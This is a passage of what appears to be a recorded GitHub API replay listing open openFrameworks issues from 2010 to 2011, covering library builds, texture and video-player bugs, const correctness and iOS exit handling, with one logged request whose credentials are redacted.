)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be 